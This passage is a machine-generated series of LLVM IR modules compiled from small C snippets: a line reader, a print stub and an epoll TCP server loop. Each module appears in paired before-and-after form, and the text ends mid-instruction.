; ModuleID = '/tmp/tmp7mwkpgjl.c' source_filename = "/tmp/tmp7mwkpgjl.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EOF = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @mlr_get_sline(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 %8 = alloca i64, align 8 %9 = alloca ptr, align 8 %10 = alloca ptr, align 8 %11 = alloca i32, align 4 %12 = alloca i32, align 4 %13 = alloca i32, align 4 %14 = alloca i32, align 4 store ptr %0, ptr %5, align 8 store ptr %1, ptr %6, align 8 store i32 %2, ptr %7, align 4 store i64 128, ptr %8, align 8 %15 = call ptr @mlr_malloc_or_die(i32 noundef 128) store ptr %15, ptr %9, align 8 %16 = load ptr, ptr %9, align 8 store ptr %16, ptr %10, align 8 store i32 0, ptr %11, align 4 %17 = load i32, ptr %7, align 4 %18 = sub nsw i32 %17, 1 store i32 %18, ptr %13, align 4 %19 = load ptr, ptr %6, align 8 %20 = load i32, ptr %13, align 4 %21 = sext i32 %20 to i64 %22 = getelementptr inbounds i8, ptr %19, i64 %21 %23 = load i8, ptr %22, align 1 %24 = sext i8 %23 to i32 store i32 %24, ptr %14, align 4 br label %25 25: ; preds = %3, %95 %26 = load ptr, ptr %10, align 8 %27 = load ptr, ptr %9, align 8 %28 = ptrtoint ptr %26 to i64 %29 = ptrtoint ptr %27 to i64 %30 = sub i64 %28, %29 %31 = load i64, ptr %8, align 8 %32 = icmp uge i64 %30, %31 br i1 %32, label %33, label %40 33: ; preds = %25 %34 = load i64, ptr %8, align 8 %35 = shl i64 %34, 1 store i64 %35, ptr %8, align 8 %36 = load ptr, ptr %9, align 8 %37 = load i64, ptr %8, align 8 %38 = call ptr @realloc(ptr noundef %36, i64 noundef %37) store ptr %38, ptr %9, align 8 %39 = load ptr, ptr %9, align 8 store ptr %39, ptr %10, align 8 br label %40 40: ; preds = %33, %25 %41 = load ptr, ptr %5, align 8 %42 = call i32 @getc_unlocked(ptr noundef %41) store i32 %42, ptr %12, align 4 %43 = load i32, ptr %12, align 4 %44 = load i32, ptr @EOF, align 4 %45 = icmp eq i32 %43, %44 br i1 %45, label %46, label %53 46: ; preds = %40 %47 = load ptr, ptr %10, align 8 %48 = load ptr, ptr %9, align 8 %49 = icmp eq ptr %47, %48 br i1 %49, label %50, label %51 50: ; preds = %46 store i32 1, ptr %11, align 4 br label %51 51: ; preds = %50, %46 %52 = load ptr, ptr %10, align 8 store i8 0, ptr %52, align 1 br label %96 53: ; preds = %40 %54 = load i32, ptr %12, align 4 %55 = load i32, ptr %14, align 4 %56 = icmp eq i32 %54, %55 br i1 %56, label %57, label %89 57: ; preds = %53 %58 = load ptr, ptr %10, align 8 %59 = load ptr, ptr %9, align 8 %60 = ptrtoint ptr %58 to i64 %61 = ptrtoint ptr %59 to i64 %62 = sub i64 %60, %61 %63 = load i32, ptr %13, align 4 %64 = sext i32 %63 to i64 %65 = icmp sge i64 %62, %64 br i1 %65, label %66, label %83 66: ; preds = %57 %67 = load ptr, ptr %10, align 8 %68 = load i32, ptr %13, align 4 %69 = sext i32 %68 to i64 %70 = sub i64 0, %69 %71 = getelementptr inbounds i8, ptr %67, i64 %70 %72 = load ptr, ptr %6, align 8 %73 = load i32, ptr %13, align 4 %74 = call i32 @strncmp(ptr noundef %71, ptr noundef %72, i32 noundef %73) %75 = icmp ne i32 %74, 0 br i1 %75, label %83, label %76 76: ; preds = %66 %77 = load i32, ptr %13, align 4 %78 = load ptr, ptr %10, align 8 %79 = sext i32 %77 to i64 %80 = sub i64 0, %79 %81 = getelementptr inbounds i8, ptr %78, i64 %80 store ptr %81, ptr %10, align 8 %82 = load ptr, ptr %10, align 8 store i8 0, ptr %82, align 1 br label %96 83: ; preds = %66, %57 %84 = load i32, ptr %12, align 4 %85 = trunc i32 %84 to i8 %86 = load ptr, ptr %10, align 8 %87 = getelementptr inbounds i8, ptr %86, i32 1 store ptr %87, ptr %10, align 8 store i8 %85, ptr %86, align 1 br label %88 88: ; preds = %83 br label %94 89: ; preds = %53 %90 = load i32, ptr %12, align 4 %91 = trunc i32 %90 to i8 %92 = load ptr, ptr %10, align 8 %93 = getelementptr inbounds i8, ptr %92, i32 1 store ptr %93, ptr %10, align 8 store i8 %91, ptr %92, align 1 br label %94 94: ; preds = %89, %88 br label %95 95: ; preds = %94 br label %25 96: ; preds = %76, %51 %97 = load i32, ptr %11, align 4 %98 = icmp ne i32 %97, 0 br i1 %98, label %99, label %102 99: ; preds = %96 %100 = load ptr, ptr %9, align 8 %101 = call i32 @free(ptr noundef %100) store ptr null, ptr %4, align 8 br label %104 102: ; preds = %96 %103 = load ptr, ptr %9, align 8 store ptr %103, ptr %4, align 8 br label %104 104: ; preds = %102, %99 %105 = load ptr, ptr %4, align 8 ret ptr %105 } declare ptr @mlr_malloc_or_die(i32 noundef) #1 declare ptr @realloc(ptr noundef, i64 noundef) #1 declare i32 @getc_unlocked(ptr noundef) #1 declare i32 @strncmp(ptr noundef, ptr noundef, i32 noundef) #1 declare i32 @free(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp7mwkpgjl.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EOF = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @mlr_get_sline(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 %8 = alloca i64, align 8 %9 = alloca ptr, align 8 %10 = alloca ptr, align 8 %11 = alloca i32, align 4 %12 = alloca i32, align 4 %13 = alloca i32, align 4 %14 = alloca i32, align 4 store ptr %0, ptr %5, align 8 store ptr %1, ptr %6, align 8 store i32 %2, ptr %7, align 4 store i64 128, ptr %8, align 8 %15 = call ptr @mlr_malloc_or_die(i32 noundef 128) store ptr %15, ptr %9, align 8 %16 = load ptr, ptr %9, align 8 store ptr %16, ptr %10, align 8 store i32 0, ptr %11, align 4 %17 = load i32, ptr %7, align 4 %18 = sub nsw i32 %17, 1 store i32 %18, ptr %13, align 4 %19 = load ptr, ptr %6, align 8 %20 = load i32, ptr %13, align 4 %21 = sext i32 %20 to i64 %22 = getelementptr inbounds i8, ptr %19, i64 %21 %23 = load i8, ptr %22, align 1 %24 = sext i8 %23 to i32 store i32 %24, ptr %14, align 4 br label %25 25: ; preds = %95, %3 %26 = load ptr, ptr %10, align 8 %27 = load ptr, ptr %9, align 8 %28 = ptrtoint ptr %26 to i64 %29 = ptrtoint ptr %27 to i64 %30 = sub i64 %28, %29 %31 = load i64, ptr %8, align 8 %32 = icmp uge i64 %30, %31 br i1 %32, label %33, label %40 33: ; preds = %25 %34 = load i64, ptr %8, align 8 %35 = shl i64 %34, 1 store i64 %35, ptr %8, align 8 %36 = load ptr, ptr %9, align 8 %37 = load i64, ptr %8, align 8 %38 = call ptr @realloc(ptr noundef %36, i64 noundef %37) store ptr %38, ptr %9, align 8 %39 = load ptr, ptr %9, align 8 store ptr %39, ptr %10, align 8 br label %40 40: ; preds = %33, %25 %41 = load ptr, ptr %5, align 8 %42 = call i32 @getc_unlocked(ptr noundef %41) store i32 %42, ptr %12, align 4 %43 = load i32, ptr %12, align 4 %44 = load i32, ptr @EOF, align 4 %45 = icmp eq i32 %43, %44 br i1 %45, label %46, label %53 46: ; preds = %40 %47 = load ptr, ptr %10, align 8 %48 = load ptr, ptr %9, align 8 %49 = icmp eq ptr %47, %48 br i1 %49, label %50, label %51 50: ; preds = %46 store i32 1, ptr %11, align 4 br label %51 51: ; preds = %50, %46 %52 = load ptr, ptr %10, align 8 store i8 0, ptr %52, align 1 br label %96 53: ; preds = %40 %54 = load i32, ptr %12, align 4 %55 = load i32, ptr %14, align 4 %56 = icmp eq i32 %54, %55 br i1 %56, label %57, label %89 57: ; preds = %53 %58 = load ptr, ptr %10, align 8 %59 = load ptr, ptr %9, align 8 %60 = ptrtoint ptr %58 to i64 %61 = ptrtoint ptr %59 to i64 %62 = sub i64 %60, %61 %63 = load i32, ptr %13, align 4 %64 = sext i32 %63 to i64 %65 = icmp sge i64 %62, %64 br i1 %65, label %66, label %83 66: ; preds = %57 %67 = load ptr, ptr %10, align 8 %68 = load i32, ptr %13, align 4 %69 = sext i32 %68 to i64 %70 = sub i64 0, %69 %71 = getelementptr inbounds i8, ptr %67, i64 %70 %72 = load ptr, ptr %6, align 8 %73 = load i32, ptr %13, align 4 %74 = call i32 @strncmp(ptr noundef %71, ptr noundef %72, i32 noundef %73) %75 = icmp ne i32 %74, 0 br i1 %75, label %83, label %76 76: ; preds = %66 %77 = load i32, ptr %13, align 4 %78 = load ptr, ptr %10, align 8 %79 = sext i32 %77 to i64 %80 = sub i64 0, %79 %81 = getelementptr inbounds i8, ptr %78, i64 %80 store ptr %81, ptr %10, align 8 %82 = load ptr, ptr %10, align 8 store i8 0, ptr %82, align 1 br label %96 83: ; preds = %66, %57 %84 = load i32, ptr %12, align 4 %85 = trunc i32 %84 to i8 %86 = load ptr, ptr %10, align 8 %87 = getelementptr inbounds i8, ptr %86, i32 1 store ptr %87, ptr %10, align 8 store i8 %85, ptr %86, align 1 br label %88 88: ; preds = %83 br label %94 89: ; preds = %53 %90 = load i32, ptr %12, align 4 %91 = trunc i32 %90 to i8 %92 = load ptr, ptr %10, align 8 %93 = getelementptr inbounds i8, ptr %92, i32 1 store ptr %93, ptr %10, align 8 store i8 %91, ptr %92, align 1 br label %94 94: ; preds = %89, %88 br label %95 95: ; preds = %94 br label %25 96: ; preds = %76, %51 %97 = load i32, ptr %11, align 4 %98 = icmp ne i32 %97, 0 br i1 %98, label %99, label %102 99: ; preds = %96 %100 = load ptr, ptr %9, align 8 %101 = call i32 @free(ptr noundef %100) store ptr null, ptr %4, align 8 br label %104 102: ; preds = %96 %103 = load ptr, ptr %9, align 8 store ptr %103, ptr %4, align 8 br label %104 104: ; preds = %102, %99 %105 = load ptr, ptr %4, align 8 ret ptr %105 } declare ptr @mlr_malloc_or_die(i32 noundef) #1 declare ptr @realloc(ptr noundef, i64 noundef) #1 declare i32 @getc_unlocked(ptr noundef) #1 declare i32 @strncmp(ptr noundef, ptr noundef, i32 noundef) #1 declare i32 @free(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpbfd4gs1w.c' source_filename = "/tmp/tmpbfd4gs1w.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpbfd4gs1w.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpmcgyfo_p.c' source_filename = "/tmp/tmpmcgyfo_p.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpmcgyfo_p.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpwr0gko_e.c' source_filename = "/tmp/tmpwr0gko_e.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [25 x i8] c"Worklist not empty now!\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @print_info(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = call i32 @printf(ptr noundef @.str) ret ptr null } declare i32 @printf(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpwr0gko_e.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [25 x i8] c"Worklist not empty now!\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @print_info(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = call i32 @printf(ptr noundef @.str) ret ptr null } declare i32 @printf(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpeoxhe2bq.c' source_filename = "/tmp/tmpeoxhe2bq.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.epoll_event = type { %struct.TYPE_2__, ptr } %struct.TYPE_2__ = type { i32 } @.str = private unnamed_addr constant [13 x i8] c"epoll_create\00", align 1 @EXIT_FAILURE = dso_local global i32 0, align 4 @EPOLLIN = dso_local global ptr null, align 8 @EPOLL_CTL_ADD = dso_local global i32 0, align 4 @.str.1 = private unnamed_addr constant [30 x i8] c"epoll_ctl_add-listen_fd error\00", align 1 @errno = dso_local global i64 0, align 8 @EINTR = dso_local global i64 0, align 8 @.str.2 = private unnamed_addr constant [17 x i8] c"epoll_wait error\00", align 1 @.str.3 = private unnamed_addr constant [13 x i8] c"accept error\00", align 1 @.str.4 = private unnamed_addr constant [30 x i8] c"epoll_ctl_add-client_fd error\00", align 1 @EPOLL_CTL_DEL = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [20 x i8] c"epoll_ctl_del error\00", align 1 @EXIT_SUCCESS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca %struct.epoll_event, align 8 %12 = alloca [10 x %struct.epoll_event], align 16 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %13 = call i32 @tcp_server_socket(i32 noundef 1234) store i32 %13, ptr %6, align 4 %14 = call i32 @epoll_create(i32 noundef 10) store i32 %14, ptr %8, align 4 %15 = icmp slt i32 %14, 0 br i1 %15, label %16, label %20 16: ; preds = %2 %17 = call i32 @perror(ptr noundef @.str) %18 = load i32, ptr @EXIT_FAILURE, align 4 %19 = call i32 @exit(i32 noundef %18) #3 unreachable 20: ; preds = %2 %21 = call i32 @memset(ptr noundef %11, i32 noundef 0, i32 noundef 16) %22 = load ptr, ptr @EPOLLIN, align 8 %23 = getelementptr inbounds %struct.epoll_event, ptr %11, i32 0, i32 1 store ptr %22, ptr %23, align 8 %24 = load i32, ptr %6, align 4 %25 = getelementptr inbounds %struct.epoll_event, ptr %11, i32 0, i32 0 %26 = getelementptr inbounds %struct.TYPE_2__, ptr %25, i32 0, i32 0 store i32 %24, ptr %26, align 8 %27 = load i32, ptr %8, align 4 %28 = load i32, ptr @EPOLL_CTL_ADD, align 4 %29 = load i32, ptr %6, align 4 %30 = call i64 @epoll_ctl(i32 noundef %27, i32 noundef %28, i32 noundef %29, ptr noundef %11) %31 = icmp slt i64 %30, 0 br i1 %31, label %32, label %36 32: ; preds = %20 %33 = call i32 @perror(ptr noundef @.str.1) %34 = load i32, ptr @EXIT_FAILURE, align 4 %35 = call i32 @exit(i32 noundef %34) #3 unreachable 36: ; preds = %20 br label %37 37: ; preds = %126, %46, %36 %38 = load i32, ptr %8, align 4 %39 = getelementptr inbounds [10 x %struct.epoll_event], ptr %12, i64 0, i64 0 %40 = call i32 @epoll_wait(i32 noundef %38, ptr noundef %39, i32 noundef 10, i32 noundef -1) store i32 %40, ptr %10, align 4 %41 = icmp slt i32 %40, 0 br i1 %41, label %42, label %51 42: ; preds = %37 %43 = load i64, ptr @errno, align 8 %44 = load i64, ptr @EINTR, align 8 %45 = icmp eq i64 %43, %44 br i1 %45, label %46, label %47 46: ; preds = %42 br label %37 47: ; preds = %42 %48 = call i32 @perror(ptr noundef @.str.2) %49 = load i32, ptr @EXIT_FAILURE, align 4 %50 = call i32 @exit(i32 noundef %49) #3 unreachable 51: ; preds = %37 store i32 0, ptr %9, align 4 br label %52 52: ; preds = %123, %51 %53 = load i32, ptr %9, align 4 %54 = load i32, ptr %10, align 4 %55 = icmp slt i32 %53, %54 br i1 %55, label %56, label %126 56: ; preds = %52 %57 = load i32, ptr %9, align 4 %58 = sext i32 %57 to i64 %59 = getelementptr inbounds [10 x %struct.epoll_event], ptr %12, i64 0, i64 %58 %60 = getelementptr inbounds %struct.epoll_event, ptr %59, i32 0, i32 0 %61 = getelementptr inbounds %struct.TYPE_2__, ptr %60, i32 0, i32 0 %62 = load i32, ptr %61, align 16 %63 = load i32, ptr %6, align 4 %64 = icmp eq i32 %62, %63 br i1 %64, label %65, label %89 65: ; preds = %56 %66 = load i32, ptr %6, align 4 %67 = call i32 @accept(i32 noundef %66, ptr noundef null, ptr noundef null) store i32 %67, ptr %7, align 4 %68 = icmp slt i32 %67, 0 br i1 %68, label %69, label %73 69: ; preds = %65 %70 = call i32 @perror(ptr noundef @.str.3) %71 = load i32, ptr @EXIT_FAILURE, align 4 %72 = call i32 @exit(i32 noundef %71) #3 unreachable 73: ; preds = %65 %74 = load ptr, ptr @EPOLLIN, align 8 %75 = getelementptr inbounds %struct.epoll_event, ptr %11, i32 0, i32 1 store ptr %74, ptr %75, align 8 %76 = load i32, ptr %7, align 4 %77 = getelementptr inbounds %struct.epoll_event, ptr %11, i32 0, i32 0 %78 = getelementptr inbounds %struct.TYPE_2__, ptr %77, i32 0, i32 0 store i32 %76, ptr %78, align 8 %79 = load i32, ptr %8, align 4 %80 = load i32, ptr @EPOLL_CTL_ADD, align 4 %81 = load i32, ptr %7, align 4 %82 = call i64 @epoll_ctl(i32 noundef %79, i32 noundef %80, i32 noundef %81, ptr noundef %11) %83 = icmp slt i64 %82, 0 br i1 %83, label %84, label %88 84: ; preds = %73 %85 = call i32 @perror(ptr noundef @.str.4) %86 = load i32, ptr @EXIT_FAILURE, align 4 %87 = call i32 @exit(i32 noundef %86) #3 unreachable 88: ; preds = %73 br label %122 89: ; preds = %56 %90 = load i32, ptr %9, align 4 %91 = sext i32 %90 to i64 %92 = getelementptr inbounds [10 x %struct.epoll_event], ptr %12, i64 0, i64 %91 %93 = getelementptr inbounds %struct.epoll_event, ptr %92, i32 0, i32 0 %94 = getelementptr inbounds %struct.TYPE_2__, ptr %93, i32 0, i32 0 %95 = load i32, ptr %94, align 16 %96 = call i64 @tcp_main(i32 noundef %95) %97 = icmp eq i64 %96, 0 br i1 %97, label %98, label %121 98: ; preds = %89 %99 = load i32, ptr %8, align 4 %100 = load i32, ptr @EPOLL_CTL_DEL, align 4 %101 = load i32, ptr %9, align 4 %102 = sext i32 %101 to i64 %103 = getelementptr inbounds [10 x %struct.epoll_event], ptr %12, i64 0, i64 %102 %104 = getelementptr inbounds %struct.epoll_event, ptr %103, i32 0, i32 0 %105 = getelementptr inbounds %struct.TYPE_2__, ptr %104, i32 0, i32 0 %106 = load i32, ptr %105, align 16 %107 = call i64 @epoll_ctl(i32 noundef %99, i32 noundef %100, i32 noundef %106, ptr noundef null) %108 = icmp slt i64 %107, 0 br i1 %108, label %109, label %113 109: ; preds = %98 %110 = call i32 @perror(ptr noundef @.str.5) %111 = load i32, ptr @EXIT_FAILURE, align 4 %112 = call i32 @exit(i32 noundef %111) #3 unreachable 113: ; preds = %98 %114 = load i32, ptr %9, align 4 %115 = sext i32 %114 to i64 %116 = getelementptr inbounds [10 x %struct.epoll_event], ptr %12, i64 0, i64 %115 %117 = getelementptr inbounds %struct.epoll_event, ptr %116, i32 0, i32 0 %118 = getelementptr inbounds %struct.TYPE_2__, ptr %117, i32 0, i32 0 %119 = load i32, ptr %118, align 16 %120 = call i32 @close(i32 noundef %119) br label %121 121: ; preds = %113, %89 br label %122 122: ; preds = %121, %88 br label %123 123: ; preds = %122 %124 = load i32, ptr %9, align 4 %125 = add nsw i32 %124, 1 store i32 %125, ptr %9, align 4 br label %52, !llvm.loop !6 126: ; preds = %52 br label %37 } declare i32 @tcp_server_socket(i32 noundef) #1 declare i32 @epoll_create(i32 noundef) #1 declare i32 @perror(ptr noundef) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #1 declare i64 @epoll_ctl(i32 noundef, i32 noundef, i32 noundef, ptr noundef) #1 declare i32 @epoll_wait(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1 declare i32 @accept(i32 noundef, ptr noundef, ptr noundef) #1 declare i64 @tcp_main(i32 noundef) #1 declare i32 @close(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpeoxhe2bq.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.epoll_event = type { %struct.TYPE_2__, ptr } %struct.TYPE_2__ = type { i32 } @.str = private unnamed_addr constant [13 x i8] c"epoll_create\00", align 1 @EXIT_FAILURE = dso_local global i32 0, align 4 @EPOLLIN = dso_local global ptr null, align 8 @EPOLL_CTL_ADD = dso_local global i32 0, align 4 @.str.1 = private unnamed_addr constant [30 x i8] c"epoll_ctl_add-listen_fd error\00", align 1 @errno = dso_local global i64 0, align 8 @EINTR = dso_local global i64 0, align 8 @.str.2 = private unnamed_addr constant [17 x i8] c"epoll_wait error\00", align 1 @.str.3 = private unnamed_addr constant [13 x i8] c"accept error\00", align 1 @.str.4 = private unnamed_addr constant [30 x i8] c"epoll_ctl_add-client_fd error\00", align 1 @EPOLL_CTL_DEL = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [20 x i8] c"epoll_ctl_del error\00", align 1 @EXIT_SUCCESS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca %struct.epoll_event, align 8 %12 = alloca [10 x %struct.epoll_event], align 16 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %13 = call i32 @tcp_server_socket(i32 noundef 1234) store i32 %13, ptr %6, align 4 %14 = call i32 @epoll_create(i32 noundef 10) store i32 %14, ptr %8, align 4 %15 = icmp slt i32 %14, 0 br i1 %15, label %16, label %20 16: ; preds = %2 %17 = call i32 @perror(ptr noundef @.str) %18 = load i32, ptr @EXIT_FAILURE, align 4 %19 = call i32 @exit(i32 noundef %18) #3 unreachable 20: ; preds = %2 %21 = call i32 @memset(ptr noundef %11, i32 noundef 0, i32 noundef 16) %22 = load ptr, ptr @EPOLLIN, align 8 %23 = getelementptr inbounds %struct.epoll_event, ptr %11, i32 0, i32 1 store ptr %22, ptr %23, align 8 %24 = load i32, ptr %6, align 4 %25 = getelementptr inbounds %struct.epoll_event, ptr %11, i32 0, i32 0 %26 = getelementptr 